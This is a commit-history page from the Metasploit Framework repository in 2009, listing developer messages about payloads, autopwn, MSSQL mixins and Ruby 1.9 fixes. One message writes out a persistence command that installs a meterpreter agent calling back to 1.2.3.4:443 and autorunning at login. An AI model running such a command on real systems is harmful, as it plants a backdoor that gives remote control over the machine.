Commit Graph

1472 Commits (7e4d03be8636f687726f79d3a3954cf6fdd3fe0f)

Author SHA1 Message Date
James Lee adf5b531eb make sure the address type is IP (not mac). fixes #476
git-svn-id: file:///home/svn/framework3/trunk@7378 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:44:02 +00:00
HD Moore 0604fbfd71 Workaround broken cygpath behavior with the cygwin path contains 8.3 names
git-svn-id: file:///home/svn/framework3/trunk@7377 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:43:14 +00:00
HD Moore 43edce7db8 Correct implementation (any instance of cygdrive in the path indicates a file outside the environment)
git-svn-id: file:///home/svn/framework3/trunk@7376 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:03:40 +00:00
HD Moore 4fde76e8f6 Expand to a windows path if the exe is outside of the cygwin installation
git-svn-id: file:///home/svn/framework3/trunk@7375 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-06 16:01:24 +00:00
James Lee e3e2d01fd2 parse nmap xml with a stream parser instead of a tree parser. fixes #251, i hope
git-svn-id: file:///home/svn/framework3/trunk@7368 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 20:26:28 +00:00
HD Moore 566234bcb1 Import Max's VBA2EXE code
git-svn-id: file:///home/svn/framework3/trunk@7364 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 02:48:56 +00:00
HD Moore 8309599ca3 Fixes #463. Missing a return value in exe.rb and missing a default format in msfencode
git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 21:30:00 +00:00
HD Moore 58ac7efcfa Fixes #457. Oddly enough, it was the nop sled garbling registers
git-svn-id: file:///home/svn/framework3/trunk@7342 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 23:50:32 +00:00
HD Moore 70bb99b0df Fixes #458. Break VBS lines into shorter ones
git-svn-id: file:///home/svn/framework3/trunk@7339 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:31:28 +00:00
HD Moore 785ab0921d Clean up argument passing, cosmetic
git-svn-id: file:///home/svn/framework3/trunk@7338 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:00:43 +00:00
HD Moore 737dc327a3 Fixes #435. Resolves a long-standing issue where datastore entries with a default of 'false' were being ignored.
git-svn-id: file:///home/svn/framework3/trunk@7334 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 18:09:05 +00:00
HD Moore 1b5cc24eab See #434. Some libraries used the wrong exception class
git-svn-id: file:///home/svn/framework3/trunk@7325 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:20:02 +00:00
HD Moore 075b8c5fa4 Fixes #434. Always use Timeout.timeout() -- on Ruby 1.9 this results in the Timeout::TimeoutError exception vs RuntimeError
git-svn-id: file:///home/svn/framework3/trunk@7323 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 18:14:57 +00:00
HD Moore 176996fe61 Fixes #452. Solves a number of crashes caused by Regexp.new() on 1.9 without an explicit language specified
git-svn-id: file:///home/svn/framework3/trunk@7320 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 17:09:13 +00:00
HD Moore c0a0507fdf Fixes #441. Unpack the version in a way that works with 1.9
git-svn-id: file:///home/svn/framework3/trunk@7319 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 15:09:54 +00:00
HD Moore f13903f39b Fixes #442. Switch capture to work like lorcon2, works around a blocking issue with ruby 1.9
git-svn-id: file:///home/svn/framework3/trunk@7317 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-02 14:36:53 +00:00
HD Moore 21e82d8b69 This patch implements a much more flexible executable creation scheme at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-01 04:11:43 +00:00
et 20be000d47 Wmap able to load exploits and check for vulnerabilities. Next step exploit if vulnerable
git-svn-id: file:///home/svn/framework3/trunk@7302 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-29 03:16:27 +00:00
HD Moore 3cf4329335 Updates the autopwn matching algorithm to use multiple ports and service names
git-svn-id: file:///home/svn/framework3/trunk@7298 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 18:04:50 +00:00
HD Moore 9141d4e967 Condense the lorcon2 each_packet method, the queue isnt necessary after testing
git-svn-id: file:///home/svn/framework3/trunk@7294 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 01:41:17 +00:00
HD Moore 31276e1626 Fixes #427. Finally found a solution that works for 1.8 and 1.9, this allows lorcon modules to run in the background or foreground and handle interrupts from the console gracefully. Its still a hack
git-svn-id: file:///home/svn/framework3/trunk@7293 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-28 00:19:17 +00:00
HD Moore 5e137e92fd Fixes #381. To scan for TLSv1 only services, set SSLVersion TLS1
git-svn-id: file:///home/svn/framework3/trunk@7282 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 19:48:15 +00:00
HD Moore 91dd38550f Fixes #398. Allow globals to override local defaults, but fallthrough to local defaults if no global or local is set
git-svn-id: file:///home/svn/framework3/trunk@7280 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 18:48:06 +00:00
HD Moore 32f7d742b3 Fixes #328. Crafty little bug -- if asm was "" vs nil, the stage would try to compile as metasm instead of using the raw payload.
git-svn-id: file:///home/svn/framework3/trunk@7278 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 17:44:43 +00:00
HD Moore 6da0013b91 See #378. Additional fix for batch mode
git-svn-id: file:///home/svn/framework3/trunk@7264 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:54:44 +00:00
HD Moore 8328bf654b Fixes #358. Adds progress reporting at 10% intervals (min granularity is thread count)
git-svn-id: file:///home/svn/framework3/trunk@7263 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:49:07 +00:00
et 7a24a5495e Fix #414 globaly defined datastore values are now rewriten before RHOSTS, RPORT, SSL are set. Support of hostnames instead of ips. Minor version changes
git-svn-id: file:///home/svn/framework3/trunk@7262 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 22:20:59 +00:00
HD Moore e3f68f2639 Another large number of warnings fixed by Yoann Guillot
git-svn-id: file:///home/svn/framework3/trunk@7248 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:18:23 +00:00
HD Moore b38a74c961 Another mega-patch from Yoann Guillot: fixes warnings generated by method calls with a space betwee the method and the parans, corrects a problem with the alpha encoders that causes them to overwrite the allowed charset, hardcodes the metasm output size of some modules in order to reduce load time, more to come
git-svn-id: file:///home/svn/framework3/trunk@7246 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 16:40:19 +00:00
HD Moore c4e8c52585 Import some basic ssh fuzzers and a smb fuzzer that can trigger the smb2 negotiate bug
git-svn-id: file:///home/svn/framework3/trunk@7243 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 03:25:15 +00:00
HD Moore cae0d61491 Adds a basic fuzzing mixin, as well as a TDS username fuzzer to demonstrate usage
git-svn-id: file:///home/svn/framework3/trunk@7241 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 01:40:27 +00:00
HD Moore b53a596ff0 Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin)
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 19:15:32 +00:00
HD Moore 07653cb452 Fix a typo for 1.9.1 support
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 13:58:21 +00:00
HD Moore 1acf372dce Roll Lorcon2 into the metasploit tree, still testing the modules. See #378
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 04:32:26 +00:00
HD Moore 51ad52d63a Moving towards beta
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 02:36:02 +00:00
HD Moore 00b2915554 Fixes #342. Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin)
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 20:31:14 +00:00
kris b75ef037c3 more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc)
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:24:33 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
HD Moore 4ac27c9803 Consolidate common APIs into the mixin
git-svn-id: file:///home/svn/framework3/trunk@7195 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 20:58:01 +00:00
et dc415c76ca Fixes #364. Added error message detection and signatures
git-svn-id: file:///home/svn/framework3/trunk@7187 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 19:46:30 +00:00
HD Moore 4d4c0905ef Slightly improved error handling for auxiliary and exploit modules. Improved brute forcing mode for mssql_login. Serious errors (broken code, etc) are bubbled up in auxiliary scanners now. Fixes #384 by reading wordlists one line at a time and not buffering
git-svn-id: file:///home/svn/framework3/trunk@7185 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 18:03:02 +00:00
HD Moore 88fba8c38a Handle a null response better
git-svn-id: file:///home/svn/framework3/trunk@7180 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:09:30 +00:00
HD Moore 490545602a Chunk long sql queries into blocks, fixes mssql_payload
git-svn-id: file:///home/svn/framework3/trunk@7179 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:07:25 +00:00
HD Moore 681e2c940c Fixes #379. Massive rewrite of the MSSQL mixin. This moves everything to TDS 7.0 instead of the old crusty protocol
git-svn-id: file:///home/svn/framework3/trunk@7178 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 01:17:58 +00:00
HD Moore d0b07c0c3f Fixes #353. If the problem persists, make sure 'cygpath' is installed, it sounds like the root cause is 3.3-dev being run inside of an existing cygwin environment.
git-svn-id: file:///home/svn/framework3/trunk@7176 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:41:37 +00:00
HD Moore 27192b303b Fixes #270. Allow the user to set BasicAuthUser and BasicAuthPass in order to authenticate using the HTTP mixin
git-svn-id: file:///home/svn/framework3/trunk@7175 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:20:14 +00:00
HD Moore d3aa513773 Fixes #339. Cleans up author names for the most part - there are still some stragglers, but this should fix up the frequent contributors
git-svn-id: file:///home/svn/framework3/trunk@7173 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:55:15 +00:00
HD Moore ce25403e18 Fixes #356. Delete poorly formatted reference entries, preventing bad reference objects from being stored in the actual module
git-svn-id: file:///home/svn/framework3/trunk@7172 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:25:29 +00:00
kris efe44ba6b5 bleh.. a bit of tabs vs spaces
git-svn-id: file:///home/svn/framework3/trunk@7171 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-16 18:27:18 +00:00
HD Moore 3b49e2af58 Add an optional timeout for mssql
git-svn-id: file:///home/svn/framework3/trunk@7161 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 20:56:36 +00:00
HD Moore ce9bfec34f Fix string handling
git-svn-id: file:///home/svn/framework3/trunk@7160 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:51:44 +00:00
HD Moore cd2968a32a Updated mssql_sql and backend mixin, can handle most column types and is somewhat usable as a mssql client
git-svn-id: file:///home/svn/framework3/trunk@7159 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:41:12 +00:00
HD Moore c5b23fbb02 Better result parsing, fix a slice!() on nil
git-svn-id: file:///home/svn/framework3/trunk@7158 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 14:25:26 +00:00
HD Moore a782a68c42 Complete overhaul of the MSSQL API, fixes 1.9 compat issues and makes the MSSQL testing easier
git-svn-id: file:///home/svn/framework3/trunk@7154 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-13 22:24:47 +00:00
kris e0f885d50c Let db_autopwn -I/-X work with a single addr
git-svn-id: file:///home/svn/framework3/trunk@7126 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 20:20:43 +00:00
kris 47d8e02389 Specify that db_autopwn -b is default
git-svn-id: file:///home/svn/framework3/trunk@7125 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:48:48 +00:00
kris 50f2f90646 db_autopwn -I/-X fix for Ruby 1.9 (calling each() on a string). Now commas
are allowed in the host specs in general.


git-svn-id: file:///home/svn/framework3/trunk@7124 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:43:06 +00:00
HD Moore 06818ae2bf Handle cases where a scanned host has no ports open
git-svn-id: file:///home/svn/framework3/trunk@7122 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 20:05:36 +00:00
HD Moore 9e19121858 Print an error if openssl is not installed, this is a workaround until we have a better way to show how missing optional dependencies affect the feature set.
git-svn-id: file:///home/svn/framework3/trunk@7116 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:24:10 +00:00
HD Moore 35fcf8c2b2 Swap around rbreadline - load it by default, but also allow the old readline with the -L (--real-readline) parameter to msfconsole. This also fixes absolute path handling for msfconsole command passthrough
git-svn-id: file:///home/svn/framework3/trunk@7115 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:17:03 +00:00
kris f13bf727c8 See #348. Make platform list (platform_to_s) a comma separated string as the
method comment suggests (other *_to_s methods are like this).  This wasn't an
issue before, but now otherwise Ruby 1.9 prints arrays differently like:

Platform: ["Windows", "Linux", "BSD", "Solaris", "BSDi", "OSX"]



git-svn-id: file:///home/svn/framework3/trunk@7103 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 05:47:51 +00:00
kris 8efeb58285 add simple sessions -K to kill all. useful at least when i'm testing.
git-svn-id: file:///home/svn/framework3/trunk@7100 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 23:00:15 +00:00
et debf126d32 Save wmap reports to a file
git-svn-id: file:///home/svn/framework3/trunk@7096 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 04:20:06 +00:00
HD Moore ce1b528b05 Fixes msfgui to load properly again
git-svn-id: file:///home/svn/framework3/trunk@7094 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:20:11 +00:00
HD Moore 3647d1c524 Time to give up the warning, any leftover bugs are probably applicable to 1.8.x too
git-svn-id: file:///home/svn/framework3/trunk@7081 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:15:10 +00:00
HD Moore d5c62fa7e2 Make msfweb easier to exclude in packaging
git-svn-id: file:///home/svn/framework3/trunk@7080 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:12:56 +00:00
HD Moore 5972666f63 See #339. Massive cleanup of author names, make them consistent across modules
git-svn-id: file:///home/svn/framework3/trunk@7075 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 21:30:45 +00:00
kris 41157e97fe make run -a functional
git-svn-id: file:///home/svn/framework3/trunk@7068 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 22:34:48 +00:00
HD Moore f036d807e3 Register the session before calling the handler's on_session() method, there may have been good reasons to avoid this before, by walking through the code it doesn't seem like they are still applicable. Fixes #266
git-svn-id: file:///home/svn/framework3/trunk@7067 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 18:47:44 +00:00
HD Moore ee9a8f4f76 Adds support for the reverse_tcp_allports stager for Windows. This payload tries to connect back on all ports, one at a time, from LPORT to 65535. This is incredibly slow (depends on the default socket timeout) and requires the user to forward all TCP ports of LHOST to a single listening port in the handler. Inspired by a few user requests and this blog post: http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall
git-svn-id: file:///home/svn/framework3/trunk@7058 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-25 05:44:50 +00:00
HD Moore 069144f56a Dont print the bind message for the any address
git-svn-id: file:///home/svn/framework3/trunk@7057 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:52:58 +00:00
HD Moore eaf5368f98 Allow the DisablePayloadHandler option to be set, this prevents the default payload handler from being called. Fixes #307
git-svn-id: file:///home/svn/framework3/trunk@7056 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:36:30 +00:00
HD Moore 0d1098e6bf Make the SMB connect() method take an optional 'global' argument, allows for secondary SMB connections
git-svn-id: file:///home/svn/framework3/trunk@7053 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 21:26:20 +00:00
James Lee a127213a70 Assignment-by-reference causes breakage when using the Array.new(num, obj) syntax. Fixes #330
git-svn-id: file:///home/svn/framework3/trunk@7052 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:49:52 +00:00
James Lee 21ff66996a make logging a little more useful when encoding
git-svn-id: file:///home/svn/framework3/trunk@7051 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:45:58 +00:00
HD Moore c34c999ac3 Remove the default versions, since these are not used. See #333
git-svn-id: file:///home/svn/framework3/trunk@7050 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:14:58 +00:00
HD Moore 1ba927f80e Updated and verbose errors to assist with error handling. See #278
git-svn-id: file:///home/svn/framework3/trunk@7047 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:25:08 +00:00
HD Moore f3708fb933 Fixes #278. Handle cases where a reload fails and indicate why
git-svn-id: file:///home/svn/framework3/trunk@7046 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:22:45 +00:00
HD Moore cdbfe74b1b Fixes #273. Move the passivex default port to 8000 so it doesnt conflict with the default HttpServer port
git-svn-id: file:///home/svn/framework3/trunk@7044 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:46:08 +00:00
HD Moore 1d21e41156 Fix references searching from the console. Fixes #304
git-svn-id: file:///home/svn/framework3/trunk@7043 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:40:00 +00:00
kris 29134be27a Fixes #336. Don't add 'NSS-<id>' to ref list when importing Nessus nbe/xml to
database (report/patch by erwinpdev).

This NSS- stuff was in the original nbe code before things were copied and
reworked for the xml handling.  I'm not sure why it was there; the NSS id is
already available in the database (name).

Note that ref lists generated here can be empty now, which I think is fine.



git-svn-id: file:///home/svn/framework3/trunk@7040 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-18 17:33:46 +00:00
HD Moore b5da2c72f2 Fixes #333. Adds core and api version checks to all module loads. To specify a minimum version, add the following constant to the top of the module (outside of the class definition):
RequiredVersions = [3.3, 1.0] # MSF 3.3+ API 1.0+


git-svn-id: file:///home/svn/framework3/trunk@7037 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-15 13:50:32 +00:00
James Lee 8b0a92ba1b fix a 1.9 bug where elements of a string are assumed to be Integers; fixes #309
git-svn-id: file:///home/svn/framework3/trunk@7034 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-13 16:56:54 +00:00
HD Moore 0885a7262e Merge the DECT code from DK, clean some things up
git-svn-id: file:///home/svn/framework3/trunk@7032 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-12 15:40:33 +00:00
HD Moore 0c584bae10 Match against the fullname not just the refname for -m regex filters in db_autopwn
git-svn-id: file:///home/svn/framework3/trunk@7029 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-11 15:32:23 +00:00
HD Moore d6d7b0e43f Raise an alert if the code size is > 2048
git-svn-id: file:///home/svn/framework3/trunk@7013 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-08 20:33:43 +00:00
kris da61141a79 Fixes #281, pt2. This time fixing unrelated whitespace changes from the
original patch.  I (lazily) kept it because 'svn diff -x -b' showed no
difference and it was formatted fine in vi.  This is obviously not a good
way of assessing bad whitespace formatting :)


git-svn-id: file:///home/svn/framework3/trunk@7007 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 23:57:42 +00:00
kris 53775ed59b Fixes #281. Add .nessus db support via db_import_nessus_xml
Based on work by mephux and erwinp.  I started with the latter's patch and
reworked it to avoid all of duplication from the .nbe stuff.


git-svn-id: file:///home/svn/framework3/trunk@7005 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 04:29:53 +00:00
HD Moore 64ff8b5181 Add missing -oX argument
git-svn-id: file:///home/svn/framework3/trunk@7004 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:14:19 +00:00
HD Moore e7b200bc23 Expand cygwin to win32 path for db_nmap on windows inside of cygwin
git-svn-id: file:///home/svn/framework3/trunk@7002 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:04:06 +00:00
Stephen Fewer 40ca641a96 Initial commit of the windows x64 meterpreter payloads!
git-svn-id: file:///home/svn/framework3/trunk@6997 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-03 17:47:21 +00:00
HD Moore b1acf43bb7 Fixes #322, hooks the appropriate dbi error, also tries to load dbi via rubygems now
git-svn-id: file:///home/svn/framework3/trunk@6982 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 20:13:37 +00:00
HD Moore cf10a62dcc Merge in the beginnings of x64 support from Stephen Fewer
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-23 23:47:33 +00:00
HD Moore 474ba8860f Merges in Colin's PDF infection code from Black Hat / Defcon
git-svn-id: file:///home/svn/framework3/trunk@6966 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-19 14:44:43 +00:00
James Lee 71bf0a12a1 remove the dll option from passivex. users shouldn't ever have to change this
git-svn-id: file:///home/svn/framework3/trunk@6964 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 18:13:38 +00:00
James Lee bd2da7c12a revert overzealous commit
git-svn-id: file:///home/svn/framework3/trunk@6961 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 04:53:35 +00:00
James Lee 08d50e0a5b fix a bug in colorization where %c gets replaced before %cya; wouldn't have been a problem until colorization gets put back in
git-svn-id: file:///home/svn/framework3/trunk@6960 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 04:49:16 +00:00
HD Moore dac1251cb7 Add support for timestamping all print_status and print_error calls made by modules. Suggested by Mia
git-svn-id: file:///home/svn/framework3/trunk@6959 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-18 03:02:37 +00:00
HD Moore b14a4ddf0b Lots of shiny new NTLM goodness from Ryan Linn
git-svn-id: file:///home/svn/framework3/trunk@6958 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-17 20:00:05 +00:00
Mario Ceballos 10d3e4c19f adds support for a 10g packet given the right connect string.
git-svn-id: file:///home/svn/framework3/trunk@6937 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-05 00:46:35 +00:00
HD Moore 4bcf42ae3c Apply a patch from Brett Blackham for loading plugins from the user's .msf3 directory as well as the system one
git-svn-id: file:///home/svn/framework3/trunk@6933 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 14:07:05 +00:00
HD Moore 13a19c4e31 make this bso not fso
git-svn-id: file:///home/svn/framework3/trunk@6932 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:16:13 +00:00
HD Moore 8cb6cee2d1 Map class methods to instance
git-svn-id: file:///home/svn/framework3/trunk@6931 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:12:19 +00:00
HD Moore 02443b3721 One more cleanup, everything loads cleanly now
git-svn-id: file:///home/svn/framework3/trunk@6930 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 04:08:25 +00:00
HD Moore b70dad9186 Merge the new stubs for meterpreter on other platforms
git-svn-id: file:///home/svn/framework3/trunk@6928 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-01 03:50:40 +00:00
HD Moore b47226797d Updating the whitespace to match the rest of the modules
git-svn-id: file:///home/svn/framework3/trunk@6925 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-31 18:02:14 +00:00
HD Moore 49b7dcb30c Overhaul of the metasploit payloads from Stephen Fewer - smaller/cleaner/new hashing/support for WinNT 4.0 -> Win7 with size reductions for the stagers and minimal size increases for the singles
git-svn-id: file:///home/svn/framework3/trunk@6922 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-31 17:50:10 +00:00
James Lee 1b84ca5282 make the error easier to track down when module loading fails
git-svn-id: file:///home/svn/framework3/trunk@6906 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-27 03:40:45 +00:00
kris 00b4c62bf1 fix ftpserver SIZE crash
git-svn-id: file:///home/svn/framework3/trunk@6897 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 06:24:01 +00:00
HD Moore c146ee3e0f Fix an unpack('S') -- this is host-order specific and should be 'v'
git-svn-id: file:///home/svn/framework3/trunk@6895 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 03:47:30 +00:00
HD Moore 55ae0e10d8 Make a stink about missing openssl support in the console driver
git-svn-id: file:///home/svn/framework3/trunk@6887 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 13:28:47 +00:00
James Lee 98d0b62942 make report_user_agent return something useful and fix a bug using the wrong column name
git-svn-id: file:///home/svn/framework3/trunk@6880 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 06:18:34 +00:00
James Lee fde468135e slightly more informative comment
git-svn-id: file:///home/svn/framework3/trunk@6878 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 03:06:44 +00:00
HD Moore 122ba9f3e5 Add the missing browser_autopwn mixin
git-svn-id: file:///home/svn/framework3/trunk@6874 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 23:40:22 +00:00
James Lee 739207bf4a merge browser_autopwn back into trunk. This changes the database schema slightly, so make sure to db_destroy and db_create before using the database features.
git-svn-id: file:///home/svn/framework3/trunk@6873 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 20:14:35 +00:00
HD Moore 765b778d5f Minor compat change, more consistent with 1.9.1 syntax
git-svn-id: file:///home/svn/framework3/trunk@6868 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:38:23 +00:00
HD Moore f116f65b96 Update the DB objects to match the new schema
git-svn-id: file:///home/svn/framework3/trunk@6867 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:37:14 +00:00
HD Moore 238f8d798f Let vulns refer to hosts w/o a service, add a mac and address6 field to the hosts table.
git-svn-id: file:///home/svn/framework3/trunk@6866 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-22 13:25:33 +00:00
HD Moore a97abcf837 Cleaning up pcaprub, interface closing will still be handled by the GC
git-svn-id: file:///home/svn/framework3/trunk@6859 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-21 19:36:37 +00:00
HD Moore 465af50f1e Allow option overrides for the callers of open_pcap
git-svn-id: file:///home/svn/framework3/trunk@6855 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-21 17:48:10 +00:00
HD Moore b3e36e5692 Reduce the size of the generated executables (works better with sqlmap and other tools that need small exes). Payloads are now capped at 2048 and the amount of random data appended to the exe has been reduced.
git-svn-id: file:///home/svn/framework3/trunk@6849 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-20 13:55:29 +00:00
James Lee 529ded22ae reverting last commit; somebody didn't cross their fingers
git-svn-id: file:///home/svn/framework3/trunk@6847 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 20:48:47 +00:00
James Lee c3dc1ecb55 reintegrate browser_autopwn into trunk; cross your fingers and hope this works
git-svn-id: file:///home/svn/framework3/trunk@6846 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 17:27:36 +00:00
HD Moore 7dcc3e5e47 Overhaul of all modules to use racket instead of scruby/packetfu
git-svn-id: file:///home/svn/framework3/trunk@6823 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-17 20:36:40 +00:00
HD Moore 5e0213c662 Allow the Capture mixin to handle a pcap file instead (thanks Max!)
git-svn-id: file:///home/svn/framework3/trunk@6813 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 22:08:31 +00:00
HD Moore 54973cf93b Fix the 500 error message to include a \r\n
git-svn-id: file:///home/svn/framework3/trunk@6810 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 05:20:39 +00:00
kris 8d6e48bc0b Revamp the THREADS handling for aux run_host() and run_batch(). THREADS is
supposed to be the number of concurrent threads; however, what's been happening
is just the firing off of THREADS threads and then simply waiting for them all
to finish before doing another round.

Now it tries to keep new threads coming when possible.  It's not exactly smart,
but should usually beat the previous method (when using multiple threads) and
should never be any worse.

Here's the relevant code comment:

# Assume that the oldest thread will be one of the
# first to finish and wait for it.  After that's
# done, remove any finished threads from the list
# and continue on.  This will open up at least one
# spot for a new thread



git-svn-id: file:///home/svn/framework3/trunk@6809 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-16 02:27:18 +00:00
